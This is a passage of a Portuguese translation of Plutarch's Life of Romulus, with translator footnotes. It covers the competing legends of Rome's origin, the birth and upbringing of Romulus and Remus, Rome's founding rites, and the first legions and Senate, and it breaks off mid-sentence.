I. Diversidade das opiniões sôbre a origem de Roma. III. Nascimento de Rômulo e de Remo, seu irmão. VI. São aleitados por uma lôba. VII. Suas primeiras inclinações. XII. Fundação de Roma. XV. Remo é morto por Rômulo. Cerimônias observadas para traçar o recinto de Roma. XIX. Ordenanças militares de Rômulo. Formação da Legião. Criação do Senado. XX. Rapto das Sabinas. XXIV. Vitória alcançada sôbre Ácron, rei dos Gênicos. XXV. Origem do Triunfo. XVI. Primeiras conquistas dos Romanos. Tomada do Capitólio pelos Sabinos. XXVIII. Rômulo invoca Júpiter Estator. XXIX. As Sabinas sustentam o partido dos Romanos. XXX. Associação dos Romanos e dos Sabinos. Começo e número das Tribos. XXXIII. Festas. XXXIV. Instituições das Vestais e do fogo sagrado. XXXV. Leis. O parricídio desconhecido em Roma durante seiscentos anos. XXXVI. Querela de Tácio, rei dos Sabinos. Sua morte. XXXVII. Rômulo apodera-se da cidade de Fidena e forma ,ali uma colônia. Peste violenta em Roma, XXXVIII. Derrota dos Camerinos. XXXIX. Guerras dos Veien-ses. XLI. Rômulo vitorioso começa a exercer um duro império. XLIII. Desaparece. XLV. Honras divinas que lhe foram prestadas sob o nome de Quirino.
Desde o ano 769 até o ano 715 antes de Jesus Cristo; 39.º ano desde a fundação de Roma.
Plutarco – Vidas Paralelas – RÔMULO
Baseado na versão francesa de Amyot. Tradução de Aristides Lobo. Fonte: Edameris.
Os historiadores não se acordam em escrever por quem nem por que causa o grande nome da cidade de Roma, do qual a glória se estendeu por todo o mundo, lhe fôra primeiramente imposto: porque sustentam uns que os Pelasgos, após haverem corrido a maior parte da terra habitável e terem dominado várias nações, finalmente se detiveram no lugar onde ela está no presente fundada; e que, por sua grande’ potência em armas, impuseram o nome de Roma à cidade que construíram, o qual em linguagem grega significa potência. Dizem outros que, após a tomada e destruição de Tróia, houve alguns Troianos que, uma vez salvos da espada, embarcaram em navios ocasionalmente encontrados no pôrto e foram lançados pelos ventos à costa da Toscana, onde puseram âncoras perto do rio Tibre; e ali, como suas mulheres se achassem já,tão mal que de modo algum podiam mais suportaria fúria do mar, houve uma, a mais nobre e mais prudente de todas, chamada Roma, que aconselhou as companheiras a porem fogo nos barcos, o que fizeram e com o que os maridos no comêço ficaram muito descontentes, mas depois, constran-gidos pela necessidade ao pé da cidade de Palâncio, quando viram que os negócios prosperavam ali melhor do que teriam ousado esperar, achando a terra fértil e os povos vizinhos doces e obsequiosos, pois os receberam amigavelmente, entre outras honras prestadas como recompensa àquela dama, deram à cidade o nome de Roma, por ter sido ela a causa de a terem edificado. E dizem que daí começou o costume, que ainda hoje dura em Roma, de saudarem as mulheres seus parentes e maridos beijando-os na boca, porque então essas damas Troianas saudavam e acariciavam os maridos, depois de lhes haverem queimado os navios, pedindo-lhes que acalmassem sua cólera e má disposição contra elas.
II. Dizem outros que Roma era filha de Ítalo e de Lucária, ou de Télefo, filho de Hércules, e mulher de Enéias, segundo outros de Ascânio, filho de Enéias: a qual deu seu nome à cidade. Outros há que sustentam ter sido Romano, filho de Ulisses e de Circe, quem fundou Roma; querem outros dizer que foi Romo, filho de Emátion, que Diomedes para ali enviara de Tróia. Escrevem outros que foi certo Rômis, tirano dos Latinos, que expulsou daquele distrito os Toscanos, os quais, partindo da Tessália, passaram primeiramente à Lídia e, depois, da Lídia à Itália.
III. E, mais, aqueles mesmos que sustentam que Rômulo (como há mais aparência) foi aquele que deu o nome à cidade, não estão de acordo no tocante aos seus antepassados, porque uns escrevem que êle era filho de Enéias e Dexítea, filha de Forbas, e que foi levado recém-nascido para a Itália com seu irmão Remo, mas que então o rio Tibre, tendo transbordado, todos os outros navios ali afundaram, exceto o escaler onde estavam as suas crianças, o qual afortunadamente foi deter-se docemente num trecho do rio que era unido e plano; e que, tendo-se dêsse modo salvo os meninos contra tôda a esperança, foi o lugar chamado mais tarde Roma. Dizem outros que Roma, filha daquela primeira dama Troiana, foi casada com Latino, filho de Telêmaco, do qual teve Rômulo. Outros escrevem que foi Emília, filha de Enéias e de Lavínia, a qual foi engravidada pelo deus Marte. Contam outros uma coisa referente ao nascimento de Rômulo, onde não há nenhuma verossimilitude: pois dizem que houve outrora um rei de Alba chamado Tarquécio, homem muito mau e cruel, em cuja casa com licença dos deuses apareceu a visão seguinte: surgiu-lhe no lar uma forma de membro viril que ali ficou durante vários dias; e dizem que nessê tempo havia na Toscana um oráculo de Tétis, do qual se levou a êsse mau rei Tarquécio uma resposta predizendo que sua filha ( 1 ), que ainda estava para se casar, teria a companhia do dito monstro, para que daí nascesse um filho que seria muito famoso pela valentia e que, em força de corpo e prosperidade de fortuna, ultrapassaria todos os do seu tempo. Tarquécio comunicou êsse oráculo a uma de suas
(1) No grego: que uma filha. C.
filhas e lhe ordenou que se aproximasse do monstro: o que ela desdenhou de fazer, enviando em seu lugar uma de suas criadas. Com isso Tarquécio ficou tão acremente enfurecido que mandou prender as duas para fazê-las morrer; mas, à noite, quando dormia, a deusa Vesta lhe apareceu e proibiu-o de assim proceder; em virtude dessa ocorrência, êle ordenou-lhes que urdissem uma peça de tela na prisão, sob a condição de que se casariam quando a terminassem. Essas jovens assim faziam durante o dia inteiro, mas à noite vinham outras, por ordem de Tarquécio, que desfaziam tudo o que elas tinham feito e tecido de dia. Entretanto, a criada que fôra engravidada pelo monstro deu à luz dois belos filhos gêmeos, os quais foram entregues por Tarquécio a certo Terãcio, com a injunção de fazê-los morrer. Êsse Terácio levou-os para a beira do rio, onde veio uma lôba que lhes deu de mamar, e pássaros de tôda espécie levaram-lhes migalhas e puseram-lhas na bôca, até que um boiadeiro os percebeu, maravilhou-se grandemente com o fato e teve a ousadia de se aproximar e carregar consigo os meninos; os quais, tendo sido preservados, quando chegaram mais tarde à idade de homens, atacaram Tarquécio e o derrotaram, É um chamado Promátion, que escreveu uma história Itálica, quem faz êsse relato; mas, quanto ao propósito que tem mais aparência de verdade e que é também confirmado por outros testemunhos, coube a Díocles de Pepareto, que Fábio Pictor segue em várias coisas, a primazia de o divulgar entre os Gregos, ao menos quanto aos principais pontos.
IV. E, conquanto nesse propósito mesmo haja ainda algumas variedades, todavia em suma o discurso que dêle se faz é o seguinte: a linha dos reis de Alba, descontentes de Enéias por sucessão de pai a filho, veio afinal cair em dois irmãos, Numitor e Amúlio; dos quais Amúlio, quando veio a fazer suas respectivas partilhas, fêz dois lotes de todos os bens, cabendo a um o reino e a outro todo o ouro e o dinheiro de contado, e todo o tesouro que fôra levado de Tróia. Numitor escolheu o reino por sua parte, mas Amúlio, achando-se o ouro e o dinheiro em suas mãos, e sentindo que era o mais forte, facilmente lhe tirou o reino; e, temendo que sua filha tivesse filhos que pudessem um dia despojá-lo dêle, entregou-a religiosa à deusa Vesta, para usar seus dias em virgindade e jamais se casar: dão-lhe uns o nome de Réia, outros o de Sílvia, e outros o de Ília. Todavia, pouco tempo depois, foi ela encontrada grávida, contra a regra e a profissão das religiosas Vestais. Assim, não houve nada que a salvasse de ser prontamente posta à morte, senão as súplicas da filha do rei Amúlio, chamada Anto, que por ela intercedeu junto a seu pai; não obstante isso, foi estreitamente encerrada, sem que ninguém a visitasse nem falasse com ela, de medo que desse à luz sem o conhecimento de Amúlio. Por fim, nasceram-lhe dois filhos gêmeos, maravilhosamente belos e grandes, causando ainda maior mêdo do que na presença de Amúlio. Ordenou-se então a um de seus servidores que tomasse os dois meninos e os fizesse desaparecer. Dizem alguns que êsse servidor se chamava Fáustulo, enquanto outros afirmam ter sido aquêle que os levou; como quer que seja, aquele que teve o encargo de lhes dar sumiço colocou-os dentro de um tina e foi para o rio com a intenção de atirá-los, mas o encontrou tão cheio e correndo com tamanha força que não ousou aproximar-se do nível da água e colocou-os à margem. Entretanto, crescendo sempre, o rio acabou transbordando, de tal maneira que a água penetrou até debaixo da tina, fê-la emergir docemente e levou-a a um lugar unido e plano, que se chama agora Cermano e antigamente Germano, como acredito, porque os Romanos chamam germanos aos irmãos de pai e de mãe.
V. Ora, havia ao pé desse lugar uma figueira selvagem que se chamava Ruminalis, do nome de Rômulo, como a maior parte estima, ou porque os animais que pastavam tinham o costume de abrigar-se debaixo dela quando fazia muito calor, para ali ruminarem à sombra, ou ainda porque os dois meninos ali foram aleitados pela lôba, porque os antigos Latinos davam à mama o nome de Ruma e ainda hoje chamam Rumília (2) à deusa que se reclama
(2) Nas Demandas Romanas, Dem. LVII, chama-lhe Plu-tarco a deusa Rumina, para nutrir as crianças de peito: em seus sacrifícios, não se usa vinho, antes nêles se oferece leite e (3) água misturada com mel.
VI. Estando os dois meninos assim deitados, escreve-se que sobreveio uma lôba que lhes deu de mamar, tendo também um picanço ajudado a nutri-los e guardá-los. Estima-se que êsses dois animais são consagrados ao deus Marte, e os Latinos honram e reverenciam singularmente o picanço, O que ajudou grandemente a acreditar-se no dizer da mãe a, qual afirmou ter concebido do deus Marte as duas crianças; todavia, dizem alguns ter ela adotado essa opinião por êrro, porque Amúlio, que a desvirginou, foi encontrá-la todo armado e a forçou. Sustentam outros que o nome da nutriz que deu de mamar aos dois meninos ocasionou o rumor comum em tôrno dessa fábula, por causa da ambigüidade de sua significação, porque os Latinos chamam pelo mesmo nome de Lupas, isto é, lôbas, às fêmeas dos lôbos e às mulheres que abandonam o corpo a todos os que aparecem, como fazia aquela nutriz, mulher de Fáus-tulo, que levou as crianças para casa. Chamava-se ela por seu nome direito Aca Larência, a quem os Romanos ainda hoje sacrificam; e lhe oferece o pres-bítero de Marte, no mês de abril, as efusões de vinhô e de leite que se usam nos funerais; e a festa mesma tem o nome de Larência. 33 bem verdade que êles
(3) E água misturada com mel não está no grego. C.
honram ainda outra Larência, em tal ocasião. O sacristão do templo de Hércules, não sabendo um dia em que passar o tempo, como é verossímil, convidou de coração alegre o deus a jogar os dados com ele, sob a condição de que, se ganhasse, Hércules teria de enviar-lhe alguma felicidade; e, se perdesse, prepararia muito bem um jantar para Hércules e lhe conduziria uma bela mulher para deitar-se com ele. Assim articuladas as condições do jôgo, o sacristão lançou os dados primeiro para Hércules e depois para si mesmo. Aconteceu que Hércules ganhou, e o sacristão, reconhecendo de boa-fé e estimando ser razoável o cumprimento do pacto que êle próprio fizera, preparou um belo jantar e alugou essa cortesã Larência, que era muito bela, mas ainda não famosa; e, tendo festejado dentro do templo mesmo, ali fêz descer um leito e a encerrou dentro dele, como se Hércules devesse vir deitar-se com ela; e dizem que na verdade êle veio e lhe ordenou que ela fôsse de madrugada para a rua, saudando o primeiro homem que encontrasse e retendo-o como amigo. Ela assim fêz e encontrou primeiro certo Tarrúcio, homem já muito idoso, que havia acumulado muitos bens e não tinha filhos, bem como nunca fôra casado. Êle se ligou a essa Larência e de tal maneira a amou que mais tarde, vindo a morrer, a fêz herdeira de vários bens importantes, a maior parte dos quais ela mesma deixou por testamento ao povo Romano; e dizem que, sendo então muito famosa e honrada, como sendo aquela que se estimava ser a amiga de um deus, desapareceu no mesmo lugar onde fôra enterrada a primeira Larência. O lugar chama-se hoje Velabro, do mesmo modo que o rio que aí vem desembocar e freqüentemente se era constrangido a passar de barco para ir por êsse lugar até à rua, tendo-se dado o nome de Velatura a essa maneira de passar de barco. Dizem outros que aquêles que realizavam jogos e passatempos públicos, para ganhar o favor do povo, tinham o costume de cobrir de véus e de telas a passagem pela qual se vai da praça às liças (4) onde se realizam as corridas de cavalos, que tiveram começo naquele lugar; e os Romanos, em sua língua, dão a um véu o nome de velum. Eis a causa pela qual aquela segunda Larência é honrada em Roma.
VII. Fáustulo, pois, mestre porqueiro de Amúlio, roubou os dois meninos sem que ninguém soubesse nada, conforme dizem uns, ou, como contam outros com mais semelhança de verdade, após haver disso Numitor tomado conhecimento e inteligência, pois secretamente forneceu dinheiro aos que os nutriram. Pois dizem mesmo que foram levados para a cidade dos Gábios, onde aprenderam as letras e tôdas as outras cpisas honestas que se costuma mandar ensinar às crianças de boa e nobre casa; e dizem que se chamaram Remo e Rômulo porque foram
(4) O grande Circo.
encontrados mamando” na teta de uma lôba, Assim logo se mostrou a beleza de seus corpos e, somente de se lhes verem o talhe e os traços do rosto, viu-se também de que natureza seriam; mas, à medida que foram crescendo, a coragem lhes cresceu também, e tornaram-se homens seguros e ousados, de- sorte que não se perturbavam, nem se espantavam de modo algum com qualquer perigo que se lhes apresentasse diante dos olhos. Todavia, afigurava-se que Rômulo tinha mais senso e entendimento do que o irmão, pois em todas as coisas que precisavam decidir com os vizinhos, no tocante à caça ou aos limites das pastagens, dava evidentemente a conhecer que nascera para comandar e não para obedecer. Por isso, eram ambos muito estimados por seus semelhantes e por aqueles de mais baixa condição do que êles; mas, quanto aos que tinham a superintendência dos rebanhos do rei, disso não faziam êles conta, dizendo que em nada eram melhores do que êles, sem preocupar-se com as suas fúrias nem com as suas ameaças; antes se entregavam a todos os exercícios e a tôdas as ocupações honestas, não estimando que viver em ociosidade e sem trabalhar fôsse coisa bela nem boa, bem ao contrário de exercitar e endurecer o corpo em caçar, correr, combater os bandidos, perseguir os ladrões e socorrer aqueles aos quais se fizesse mal. Por essas razões, tornaram-se em pouco tempo muito famosos; e, quando ocorria algum debate ou diferença entre os pastores de Amúlio e os de Numitor, de maneira que os de Numitor ameaçassem pela força parte do gado dos outros, êles não podiam tolerá-los, mas os perseguiam e derrotavam; e, após os pôr em fuga, reconduziam a maior parte dos animais que êles haviam levado; com isso muito se enfurecia Numitor, mas êles não se preocupavam e, ao contrário, reuniam em torno de si grande número de vagabundos sem lar nem lugar, e servos fugitivos que êles próprios incitavam, dando-lhes ousadia e coragem para escaparem dos senhores.
VIII. Mas um dia, enquanto Rômuío estava impedido em algum sacrifício, porque era homem devoto, gostava de sacrificar aos deuses e se empenhava na arte de adivinhar e predizer as coisas futuras, os pastores de Numitor encontraram casualmente Remo mal acompanhado: precipitaram-se então subitamente sôbre êle e houve golpes dados e gente ferida de uma parte e outra; todavia, os de Numitor foram por fim os mais fortes e, tomando-o consigo, levaram-nos imediatamente à presença de Numitor, e alegaram várias queixas e acusações contra êle. Numitor não ousou mandar puni-lo com sua autoridade privada, porque lhe temia o irmão, que era homem terrível; mas foi perante êle e pediu-lhe com grande instância que lhe fizesse justiça, não permitindo que êle, que era seu próprio irmão, fôsse assim ultrajado por sua gente. Não havia aquêle na cidade de Alba que não achasse muito mau o agravo de Numitor dizia haver-lhe sido feito e que não dissesse publicamente que não era um personagem que se devesse assim ofender; de maneira que Amúlio, levado por essas razões, entregou-lhe nas mãos Remo, para puni-lo tal como bem lhe parecesse. Por isso, levou-o Numitor consigo, mas, ao chegar em casa, pôs-se a considerar melhor, e não sem admiração, aquêle belo jovem que em altura e em fôrça corporal ultrapassava todos os outros; e, per cebendo-lhe no rosto uma segura constância, uma ousadia e firmeza de coragem tais que não se dobrava nem se espantava por nenhum perigo que visse diante dos olhos, e ouvindo também contar suas obras e feitos correspondentes ao que via, mas principalmente, em minha opinião, incitado por alguma secreta inspiração dos deuses, que lançavam o fundamento de grandes coisas, começou, parte por conjectura e parte por casualidade, a suspeitar da verdade: perguntou-lhe, assim quem era e quem eram seu pai e sua mãe, falando-lhe com voz mais doce e semblante mais humano do que antes, para assegurá-lo e dar-lhe boa esperança.
IX. Remo respondeu-lhe ousadamente: «Certamente não te ocultarei nada da verdade, pois me pareces, senhor, mais digno de ser rei que teu irmão Amúlio, porque inquires e escutas, antes de condenar, e êle condena antes de ouvir as partes. Até aqui nós pensamos ser filhos de dois servidores do rei, a saber, Fáustulo e Larência; digo nós, porque so-mos dois irmãos gêmeos. Mas, depois que falsamente nos acusaram junto a ti e por tais calúnias nos puseram injustamente em perigo de vida, ouvimos dizer coisas estranhas de nós, das quais o perigo era que estamos presentemente esclarecerá a verdade; pois dizem que fomos engendrados miraculosamente, e nutridos e aleitados de modo ainda mais estranho, tendo sido nos primeiros dias de nossa infância alimentados pelos pássaros e pelos animais selvagens aos quais nos expuseram como prêsa. Pois uma lôba nos deu de mamar (dizem) e um picanço nos levou migalhas à bôca na beira do grande rio onde tínhamos sido lançados dentro de uma tina, a qual ainda hoje está inteira, bandada de lâminas de cobre, sobre as quais há algumas letras gravadas e meio apagadas que porventura servirão um dia de insígnias de reconhecimento inúteis para os nossos pais, quando não mais houver tempo para isso, após havermos sido destruídos.» Numitor, pois, relacionando essas palavras ao tempo e à idade que o jovem mostrava ter, ao considerar-lhe o rosto, não rejeitou a esperança que lhe sorria, mas fêz de sorte que achou meio de a êsse respeito falar secretamente à filha; a qual então estava ainda estreitamente guardada.
X. Nesse ínterim, Fáustulo, advertido de que Remo estava prisioneiro e de que o rei o entregara às mãos de seu irmão Numitor, para fazer justiça, foi solicitar a Rômulo. que o socorresse, dando-lhe então a entender de quem êles eram filhos, porque antes nunca lhes havia dito senão em palavras cobertas e não lhes declarara isso senão de passagem, só na medida bastante para elevar-lhes um pouquinho o coração; e foi então quando, tomando êle próprio a tina, saiu apressadamente à procura de Numitor, muito assustado com o perigo presente em que pensava achar-se Remo. Isso deu motivo a suspeita entre os guardas do rei que estavam à porta da cidade, e ainda mais suspeito se tornou êle quando se perturbou no responder aos interrogatórios que lhe fizeram, com o que se descobriu a tina que trazia sob o manto. Ora, havia por acaso, entre êsses guardas, um que era aquêle ao qual as crianças tinham sido entregues para que lhes desse sumiço e estivera presente quando foram expostas à mercê da fortuna: reconhecendo a tina, tanto pela forma como pelas letras gravadas em cima, desconfiou incontinent! do que era verdadeiro. Assim, não desprezou a coisa, mas foi comunicá-la ao rei, levando Fáustulo em sua companhia, para fazê-lo confessar a verdade. Fáustulo, achando-se nessa perplexidade, não pôde manter-se de todo invencível que não confessasse alguma coisa, mas também não se deixou levar de todo: pois reconheceu que as crianças estavam vivas, mas disse que bem longe da cidade de Alba, onde se vigiavam os animais nos campos; e, quanto à tina, ia levá-la a Ília, porque ela por várias vezes pedira que a deixasse ver e tocar, a fim de melhor poder assegurar-se de sua esperança, que lhe prometia que reveria um dia os filhos.
XI. Assim aconteceu a Amúlio o que ordinariamente acontece aos que se perturbam e que fazem alguma coisa por medo ou cólera: ficou tão aturdido que mandou um emissário, homem de bem e grande amiga de seu irmão Numitor, perguntar-lhe se ouvira dizer que os filhos de sua filha estavam vivos. Êsse personagem, chegando à residência de Numitor, encontrou-o quase a ponto de abraçar e beijar Remo, e por seu testemunho lhe confirmou sua esperança, recomendando-lhe ainda que pusesse prontamente mãos à obra; e desde então ficou do seu lado.
XII. De outra parte, também a ocasião não lhes dava lazer para diferirem a emprêsa, ainda que o tivessem querido, pois Rômulo já estava muito perto da cidade e iam juntar-se a êle vários cidadãos de Alba, que temiam ou odiavam Amúlio; além dêsses, levava êle ainda bom número de combatentes distribuídos por centenas, cada uma das quais era conduzida por um centenário que marchava à frente da tropa levando um feixe de erva ou de madeira miúda, ligado à extremidade de uma percha. Os Latinos chamam a êsses feixes manípulos, de onde vem que ainda hoje, em um exército de Romanos, os soldados que estão sob a mesma insígnia se denominam manipulares. Assim, com Remo solicitando os de dentro da cidade e Rômulo conduzindo gente de fora, viu-se o tirano Amúlio tão perturbado e ame-drontado que, sem prover-se de alguma coisa que lhe pudesse ser salutar, foi surpreendido em palácio e morto. Eis como aproximadamente o relatam Fábio Pictor e Díocles de Peparetos, que em minha opinião foi o primeiro que escreveu sôbrè a fundação da cidade de Roma; todavia, há os que estimam tratar-se inteiramente de fábulas e contos recreativos. Parece-me, porém, que não se deve rejeitá-los nem descrer de todo, se queremos considerar os estranhos efeitos muitas vezes provocados pela fortuna e também a grandeza do império Romano, o qual jamais teria atingido a potência em que se acha atualmente se os deuses nisso não se tivessem envolvido desde o comêço e se êle não tivesse tido alguma origem estranha e um miraculoso fundamento.
XIII. Tendo assim Amúlio sido morto, depois que tôdas as coisas se acalmaram e foram repostas em boa ordem, Remo e Rômulo não quiseram ficar na cidade de Alba não sendo seus senhores, nem tampouco assenhorear-se dela enquanto o avô materno fôsse vivo. Porque, após o terem reposto em seu estado e terem feito à sua mãe a honra que lhe cabia, propuseram-se construir uma cidade no lugar onde primeiramente haviam sido nutridos; pois era a mais honesta côr que podiam tomar para partirem de Alba; mas acontecia que eram constrangidos a fazê-lo, quisessem ou não, por causa do grande número de banidos e servos fugitivos que se haviam reunido em tôrno dêles, nos quais consistia tôda a sua força, a qual se perderia se acaso debandassem e partissem sem êstes homens. Assim, era preciso que habitassem à parte, em algum lugar separado, para retê-los: pois que seja verdade que os habitantes da cidade de Alba não queriam que tais banidos e fugitivos se misturassem entre êles, nem recebê-los em sua cidade para serem seus concidadãos, aparece logo pelo fato de haverem tais proscritos roubado mulheres: o que não fizeram por insolência, antes por expressa necessidade, pois não achavam quem lhas quisesse entregar, o que se pode conhecer porque, muito honraram àquelas que foram roubadas. Ademais, quando sua cidade começou um pouco a tomar pé, fizeram um templo de refúgio para todos os aflitos e fugitivos, que êles chamaram de templo do deus Asileu (5), onde havia liberdade para tôda espécie de gente que. pudesse alcançá-lo e nêle ingressar: pois não entregavam o escravo fugitivo ao senhor, nem o devedor ao credor, nem o homicida ao justiceiro, alegando por tôda defesa que o oráculo de Apoio em Delfos, lhes prescrevera expressamente que dessem liberdade e segurança a todos os que recorressem aos gêmeos; de maneira que em pouco tempo sua se diz que, na primeira fundação, não houve mais de mil casas, como diremos aqui depois.
(5) Havia um asilo e um templo. Mas Plutarco é o único que fala de um deus Asilo.
XIV. Quando se veio pois a fundar sua cidade, os dois irmãos debateram juntos sôbre o lugar em que devia ser erguida, por isso que Rômulo construiu o que se chama Roma quadrada e quis que ela ficasse no lugar que escolhera; mas Remo, seu irmão, escolheu outro lugar assentando sôbre o monte Aventino, que em seu nome foi chamado Remônio e agora se chama Rignário; afinal, puseram-se de acordo decidindo a divergência pelo vôo dos pássaros que dão feliz presságio das coisas vindouras. Tendo-se assim sentado em diversos lugares à parte para contemplá-los, dizem que apareceram a Remo seis abutres e a Rômulo doze. Dizem outros que Remo verdadeiramente viu seis e que Rômulo fingiu no comêço ter visto duas vêzes tanto; mas que, quando Remo se achegou a êle, então é que em verdade lhe apareceram doze. É a causa pela qual os Romanos até hoje, nas significações e prognósticos do vôo dos pássaros, observam muito os abutres. Verdade é que o historiador Heródoto do Ponto escreve que Hércules se regozijava quando lhe aparecia um abutre no momento em que êle começava uma emprêsa; porque é no mundo o animal menos malfazejo, que não prejudica nem arruina coisa nenhuma que os homens semeiam, plantam ou nutrem; visto como se alimenta somente de carniça e não fere nem mata jamais o que tenha vida; do mesmo modo não toca nos pássaros mortos pela conformidade do gênero existente entre êles, ao passo que as águias, os mo-chos e os falcões assassinam, matam e comem aqueles mesmos que são de sua própria espécie; e, em suma, como diz Esquilo:
«Pode ser puro o pássaro que come
O próprio semelhante, em sua fome? »
Ademais, os outros pássaros estão sempre, por assim dizer, diante dos nossos olhos, e se nos apresentam ordinariamente onde o abutre é coisa bem rara e difícil de ver-se, pois não se encontra facilmente nos ares. O que deu ensejo a formarem alguns a falsa opinião de que os abutres são pássaros de passagem, provindo de algum país estranho, E os adivinhos sustentam que tais coisas que não são ordinárias e, se acontecem com muito pouca freqüência, não são naturais, antes enviadas miraculosamente pelos deuses para prognosticar alguma coisa.
XV. Quando Remo soube do engano a que seu irmão o induzira, enfureceu-se com razão; e, como Rômulo mandasse fazer um fôsso ao redor do recinto, que êle queria cercar de muralhas, não somente zombou disso com desprêzo, mas ainda impediu a obra e, por fim, à guisa de escárnio, saltou-lhe por cima: Em suma, tanto fêz que finalmente foi morto pela própria mão de Rômulo, como dizem uns, ou, como sustentam outros, pela mão de um dos seus homens, que se chamava Céler. Nessa contenda morreram também Fáustulo e seu irmão Plis-tino, que o ajudara a nutrir e criar Rômulo. Como quer que seja, esse Céler ausentou-se de Roma e se retirou para o país da Toscana; e dizem que por ele os homens prontos e decididos foram depois chamados Céleres, como entre outros Quinto Metelo, o qual após a morte de seu pai, tendo em poucos dias feito ver ao povo um combate de esgrimistas extremados, que os Romanos chamam de gladiadores, foi sobrenomeado Céler, porque os Romnos se maravilharam com o fato de haver êle podido fazer seus preparativos e em tão pouco tempo.
XVI. Entrementes, tendo Rômulo enterrado o irmão e seus dois nutridores no lugar que se chama Remônia, pôs-se a construir e fundar sua cidade, mandando buscar na Toscana homens que lhe enumeraram e ensinaram tôdas as cerimônias que precisava ali observar segundo os formulários existentes, exatamente como se fôsse algum mistério ou algum sacrifício. Assim fizeram logo de início uma fossa redonda no lugar que se chama agora Comício, dentro do qual puseram primícias de tôdas as coisas que os homens usam legitimamente como boas e naturalmente como necessárias; depois lançaram ali também um pouco da terra de onde cada um dêles tinha vindo e misturaram tudo (essa fossa tem em suas cerimônias o nome de Mundo, nome pelo qual os Latinos chamam também o Universo) e ao redor dessa fossa traçaram o recinto da cidade que desejavam edificar, exatamente com quem descreves-se um círculo ao redor de um centro. E, isso feito, o fundador da cidade toma uma charrua, à qual liga uma rêlha de bronze, e atrela-lhe um touro e uma vaca, e êle próprio, conduzindo a charrua por tôda a volta do recinto, faz um profundo sulco, enquanto os que o seguem têm o encargo de derrubar para dentro da cidade os torrões que a relha da charrua vai retirando e de não deixar por fora nenhuma volta. Êsse traço do sulco é o circuito que deve ter a muralha: o que êles chamam de Pomoerium (6) em latim, por um encurtamento de sílabas, como quem dissesse post murum, isto , atrás dos muros ou junto aos muros. Mas, no lugar onde pensaram fazer uma porta, tiram a rêlha e levam a churrua, deixando um espaço da terra sem lavrar: de onde vem que os Romanos estimam santo e sagrado todo o recinto das muralhas, excetuadas as portas, porque, se fossem sagradas e santificadas, ter-se-ia tomado consciência de por elas não levar nem trazer de fora da cidade alguma coisa que não são puras, embora necessárias à vida do homem.
XVII. Ora, sustenta-se que a cerimônia de fundação se realizou com certeza no dia vinte e um de abril, motivo por que os Romanos festejam ainda
(6) Eu expliquei numa Dissertação tudo o que respeita ao recinto de Roma: tamanho, população, desde os primeiros tempos até ao seu maior esplendor. Comparei sua população com a de Paris, Londres, Pequim. Vide Taciti Opera, tomo II página 375, edição in-4º.
êsse dia e lhe chamam festa da natividade de seu país; no qual dia não sacrificavam outrora coisa nenhuma que tivesse vida, estimando que era preciso que o dia consagrado ao nascimento da cidade ficasse puro e limpo, sem estar manchado nem contaminado de sangue; todavia, tinham êles, antes de Roma ser fundada, outra festa pastoral, que celebravam naquele mes. mo dia e denominavam Palília. São agora os começos dos meses dos Romanos inteiramente diferentes dos dos Gregos: assim é que se tem por certo que o dia no qual Rômulo fundou a cidade foi seguramente aquêle a que os Gregos chamam Trícada, isto é, o trigésimo, no qual houve eclipse da lua (7), que se estima ter sido visto e observado pelo poeta Antímaco, natural da cidade de Teos, no terceiro ano da sexta olimpíada (8)
XVIII. Mas, ao tempo de Marco Varro, homem douto e que lera tanto as antigas histórias como jamais nenhum outro Romano, havia um de seus amigos chamado Tarrúcio, grande filósofo e matemático, que se entregava ao cálculo da astrologia pelo prazer da especulação somente, no que era tido por excelente: propôs-lhe Varro o tema de procurar a hora e o dia do nascimento de Rômulo, coligindo-o
(7) E’ um êrro de Amyot: êle devia traduzir um eclipse do sol. A conjuração ecliptica da lua com o sol é que foi expressa no grego de Plutarco. Não pode haver eclipse da lua no trigésimo dia de um mês lunar.
(8) O ano 553 antes de Jesus Cristo.
como conseqüência de suas aventuras, exatamente como se faz nas resoluções de algumas proposições geométricas, porque dizem êles que por um mesmo artifício se pode predizer o que deve advir a um homem na vida, quando é conhecida a hora do nascimento; e conhecer também a hora do nascimento, quando se sabe o que lhe aconteceu na vida. Tarrú-cio, pois, fêz o que Varro lhe propôs e, tendo bem considerado as aventuras, os feitos e os gestos de Rômulo, quanto viveu e como morreu, tudo reunido e conferido em conjunto, pronunciou ousadamente que por certo êle fôra concebido dentro do ventre materno no primeiro ano da segunda olimpíada, no dia vinte e três do mês que o Egípcios chamam de Choeac (9) (que é o mês de dezembro), cêrca das três horas do dia, na qual hora houve eclipse total do sol (10); e que dali tinha saído aos vinte e um do mês de Tote, que é o mês de setembro, próximo do sol levante; e que Roma foi por êle fundada no dia nove do mês que os Egípcios chamam de Farmuti, que corresponde ao mês de abril, entre duas e três horas do dia, pois querem êles dizer que uma cidade tem sua revolução e seu tempo de duração prefixado, do mesmo modo que a vida do homem, e que se conhece isso pela situação dos astros no dia do
(9) O que está entre parênteses, nesta página, não figura no grego.
(10) O cálculo astronômico não dá eclipse solar neste dia, o que mostra ser falso o cálculo de Tarrúcio, seu nascimento. Essas coisas e outras semelhantes agradarão porventura mais aos leitores pela novidade e curiosidade de que ofenderão pela falsidade.
XIX. Mas, depois que fundou a cidade, dividiu primeiramente por tropas todos os que estavam em idade de pegar em armas. Havia em cada uma dessas tropas três mil homens a pé e trezentos a cavalo; e foram chamadas legiões, porque eram compostas de homens eleitos e escolhidos entre todos os outros, para combater; e o restante da comuna foi chamado Populus, o que vale tanto como dizer povo. Depois disso, criou cem conselheiros dentre os de mais aparência e os melhores da cidade, aos quais chamou Patrícios, e a tôda a companhia Senātus, que propriamente significa o conselho dos antigos. Assim foram chamados Patrícios, como querem alguns dizer, porque eram pais de filhos legítimos, ou, como estimam outros, porque podiam mostrar seus pais, o que poucos dos primeiros habitantes teriam podido fazer. Não é que se queria dizer que êsse nome lhes foi imposto de Patrocinium, que eqüivale a patronagem ou proteção, palavra da qual ainda hoje se usa com o mesmo significado, porque um daqueles que seguiram Evandro na Itália cha-mava-se Patrono, o qual era homem socorredor, que sustentava os pobres e pequenos, tendo por isso dado seu nome a êsse ofício de humanidade. Mais verossímil, contudo, parecer-me-ia dizer que Rômulo os teria assim chamado porque estimava que os mais graúdos e mais poderosos deviam ter cuidado e solicitude paternal para com os miúdos; além de que era para ensinar os pequenos a não terem mêdo da autoridade dos grandes, nem deplorarem suas honras e preeminência, mas a usarem de seu porte e favor nos negócios com tôda a benevolência, nomeando-os e tendo-os como pais; pois até hoje os estrangeiros dão aos do Senado o nome de senhores ou capitães, mas os naturais Romanos os chamam 